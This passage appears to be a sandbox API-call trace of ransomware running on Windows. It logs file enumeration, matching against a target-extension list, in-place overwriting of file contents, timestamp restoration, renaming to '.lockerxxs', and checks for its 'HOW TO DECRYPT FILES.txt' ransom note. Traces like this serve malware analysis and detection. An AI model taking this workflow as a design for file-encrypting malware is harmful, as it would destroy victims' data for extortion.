[0084.210] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2625, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2625, lpOverlapped=0x0) returned 1 [0084.210] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.211] CloseHandle (hObject=0xa4) returned 1 [0084.211] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg.lockerxxs")) returned 1 [0084.214] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e275160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e275160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e275160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e08, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBVEOW[1].jpg", cAlternateFileName="BBBVEO~1.JPG")) returned 1 [0084.214] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBVEOW[1].jpg") returned 1 [0084.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBVEOW[1].jpg") returned 1 [0084.214] lstrcmpiA (lpString1="", lpString2="BBBVEOW[1].jpg") returned -1 [0084.214] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg") returned="BBBUPaj[1].jpg" [0084.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.214] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.214] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.214] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.215] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBVEOW[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.ems") returned 0 [0084.215] lstrlenA (lpString="*.ems") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.db") returned 0 [0084.215] lstrlenA (lpString="*.db") returned 4 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.dbf") returned 0 [0084.215] lstrlenA (lpString="*.dbf") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.myox") returned 0 [0084.215] lstrlenA (lpString="*.myox") returned 6 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.myo") returned 0 [0084.215] lstrlenA (lpString="*.myo") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbw") returned 0 [0084.215] lstrlenA (lpString="*.qbw") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbb") returned 0 [0084.215] lstrlenA (lpString="*.qbb") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbm") returned 0 [0084.215] lstrlenA (lpString="*.qbm") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbo") returned 0 [0084.215] lstrlenA (lpString="*.qbo") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbx") returned 0 [0084.215] lstrlenA (lpString="*.qbx") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qba") returned 0 [0084.215] lstrlenA (lpString="*.qba") returned 5 [0084.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qby") returned 0 [0084.216] lstrlenA (lpString="*.qby") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qbj") returned 0 [0084.216] lstrlenA (lpString="*.qbj") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.ofx") returned 0 [0084.216] lstrlenA (lpString="*.ofx") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.qif") returned 0 [0084.216] lstrlenA (lpString="*.qif") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.mye") returned 0 [0084.216] lstrlenA (lpString="*.mye") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.mbox") returned 0 [0084.216] lstrlenA (lpString="*.mbox") returned 6 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.eml") returned 0 [0084.216] lstrlenA (lpString="*.eml") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.pst") returned 0 [0084.216] lstrlenA (lpString="*.pst") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.ost") returned 0 [0084.216] lstrlenA (lpString="*.ost") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.idx") returned 0 [0084.216] lstrlenA (lpString="*.idx") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.dbx") returned 0 [0084.216] lstrlenA (lpString="*.dbx") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.sql") returned 0 [0084.216] lstrlenA (lpString="*.sql") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.mdb") returned 0 [0084.216] lstrlenA (lpString="*.mdb") returned 5 [0084.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.fdb") returned 0 [0084.217] lstrlenA (lpString="*.fdb") returned 5 [0084.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.wab") returned 0 [0084.217] lstrlenA (lpString="*.wab") returned 5 [0084.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.dat") returned 0 [0084.217] lstrlenA (lpString="*.dat") returned 5 [0084.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.txt") returned 0 [0084.217] lstrlenA (lpString="*.txt") returned 5 [0084.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.jpeg") returned 0 [0084.217] lstrlenA (lpString="*.jpeg") returned 6 [0084.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", pszSpec="*.jpg") returned 1 [0084.217] lstrlenA (lpString="*.jpg") returned 5 [0084.217] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" [0084.217] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" [0084.217] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg." [0084.217] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.lockerxxs" [0084.217] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.218] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e08 [0084.218] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5e275160, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5e275160, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5e275160, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.218] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.218] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3de2, lpOverlapped=0x0) returned 1 [0084.220] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg") returned="BBBVEOW[1].jpg" [0084.220] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.221] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3de2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3de2, lpOverlapped=0x0) returned 1 [0084.221] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.221] CloseHandle (hObject=0xa4) returned 1 [0084.221] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg.lockerxxs")) returned 1 [0084.223] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f32f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f32f30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f32f30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa1f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBVLcG[1].jpg", cAlternateFileName="BBBVLC~1.JPG")) returned 1 [0084.223] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBVLcG[1].jpg") returned 1 [0084.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBVLcG[1].jpg") returned 1 [0084.223] lstrcmpiA (lpString1="", lpString2="BBBVLcG[1].jpg") returned -1 [0084.223] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg") returned="BBBVEOW[1].jpg" [0084.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.223] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.223] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBVLcG[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" [0084.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.ems") returned 0 [0084.223] lstrlenA (lpString="*.ems") returned 5 [0084.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.db") returned 0 [0084.224] lstrlenA (lpString="*.db") returned 4 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.dbf") returned 0 [0084.224] lstrlenA (lpString="*.dbf") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.myox") returned 0 [0084.224] lstrlenA (lpString="*.myox") returned 6 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.myo") returned 0 [0084.224] lstrlenA (lpString="*.myo") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbw") returned 0 [0084.224] lstrlenA (lpString="*.qbw") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbb") returned 0 [0084.224] lstrlenA (lpString="*.qbb") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbm") returned 0 [0084.224] lstrlenA (lpString="*.qbm") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbo") returned 0 [0084.224] lstrlenA (lpString="*.qbo") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbx") returned 0 [0084.224] lstrlenA (lpString="*.qbx") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qba") returned 0 [0084.224] lstrlenA (lpString="*.qba") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qby") returned 0 [0084.224] lstrlenA (lpString="*.qby") returned 5 [0084.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qbj") returned 0 [0084.225] lstrlenA (lpString="*.qbj") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 